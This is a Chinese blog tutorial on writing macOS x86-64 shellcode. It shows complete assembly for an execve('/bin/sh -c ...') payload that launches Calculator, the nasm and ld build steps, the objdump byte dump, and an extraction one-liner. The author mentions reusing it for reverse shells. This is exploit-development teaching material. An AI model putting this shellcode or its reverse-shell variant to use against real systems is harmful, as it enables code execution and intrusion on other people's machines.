SHELLCODE on macOS

shellcode on macOS

最近因为一些工作上的需求需要搞下macOS上的shellcdoe,谷歌了很多资料/代码后发现还是有不少坑的,或者就是代码比较老,定制化程度比较高,不太符合我的需求,其实我需求也简单 pop calc或者reverse shell,就是个演示效果 🤣。

ENV

我这里环境是 macOS big sur(对,没错,小白鼠🐁)

工具链基本都是brew直接装或者自带的。

Step1

其实在macOS上写shellcode和Linux差不多,都是要走系统调用,大概就是布置参数,写好调用号,然后一个syscall进去即可。

我这里为了省事儿,做的是执行system('xxxxxx')的shellcode,这样对于我演示来说,不管是弹计算器还是反弹shell都比较简单,如果是实战啥的,建议参考很早之前hacking team泄漏那种玩法,不过核心原理都是那样,不过人家玩的比较高级(毕竟军火嘛)。

exec_calc.asm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
BITS 64

global start

section .text

start:
xor rax, rax
mov rax,0x2
ror rax, 0x28
or rax, 59
mov rcx, rax

xor rdx, rdx
mov rbx, 0x68732f2f6e69622f
push rdx
push rbx
push rsp
pop rdi

push rdx
mov rbx, 0x632d
push rdx
push rbx
push rsp
pop rbx

push rdx

; 参数开始
mov rcx, 0x7070612e726f7461
push rcx
mov rcx, 0x6c75636c61432f73
push rcx
mov rcx, 0x6e6f69746163696c
push rcx
mov rcx, 0x7070412f6d657473
push rcx
mov rcx, 0x79532f206e65706f
push rcx
; 参数结束

push rsp
pop rcx

push rdx
push rcx
push rbx
push rdi
push rsp
pop rsi

syscall

Step2

其实核心的就是执行的命令,即字符串怎么构造进去,这里是都压到栈里然后传递个指针,常规操作。

1
2
3
$ nasm -f macho64 -o exec_calc.o exec_calc.asm
$ ld -macosx_version_min 10.7.0 -o exec_calc exec_calc.o
ld: warning: building for macOS 10.7.0 is deprecated

然后从objdump的结果中提取字节码即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ objdump -d ./exec_calc.o

./exec_calc.o: file format Mach-O 64-bit x86-64


Disassembly of section __TEXT,__text:

0000000000000000 start:
0: 48 31 c0 xorq %rax, %rax
3: b8 02 00 00 00 movl $2, %eax
8: 48 c1 c8 28 rorq $40, %rax
c: 48 83 c8 3b orq $59, %rax
10: 48 89 c1 movq %rax, %rcx
13: 48 31 d2 xorq %rdx, %rdx
16: 48 bb 2f 62 69 6e 2f 2f 73 68 movabsq $7526411283028599343, %rbx
20: 52 pushq %rdx
21: 53 pushq %rbx
22: 54 pushq %rsp
23: 5f popq %rdi
24: 52 pushq %rdx
25: bb 2d 63 00 00 movl $25389, %ebx
2a: 52 pushq %rdx
2b: 53 pushq %rbx
2c: 54 pushq %rsp
2d: 5b popq %rbx
2e: 52 pushq %rdx
2f: 48 b9 61 74 6f 72 2e 61 70 70 movabsq $8102082581755819105, %rcx
39: 51 pushq %rcx
3a: 48 b9 73 2f 43 61 6c 63 75 6c movabsq $7815262045510774643, %rcx
44: 51 pushq %rcx
45: 48 b9 6c 69 63 61 74 69 6f 6e movabsq $7957695015157983596, %rcx
4f: 51 pushq %rcx
50: 48 b9 73 74 65 6d 2f 41 70 70 movabsq $8102047401594156147, %rcx
5a: 51 pushq %rcx
5b: 48 b9 6f 70 65 6e 20 2f 53 79 movabsq $8742383117993865327, %rcx
65: 51 pushq %rcx
66: 54 pushq %rsp
67: 59 popq %rcx
68: 52 pushq %rdx
69: 51 pushq %rcx
6a: 53 pushq %rbx
6b: 57 pushq %rdi
6c: 54 pushq %rsp
6d: 5e popq %rsi
6e: 0f 05 syscall

这一步见仁见智了,有大佬用bash一行搞定,而我比较菜,之前是写了个py脚本提取然后格式化输出的。

之前看到过一个Linux版本的一键提取,不过感觉太复杂了…

1
objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

有兴趣的朋友可以搞个macOS版本🤣

参考

shellcode-osx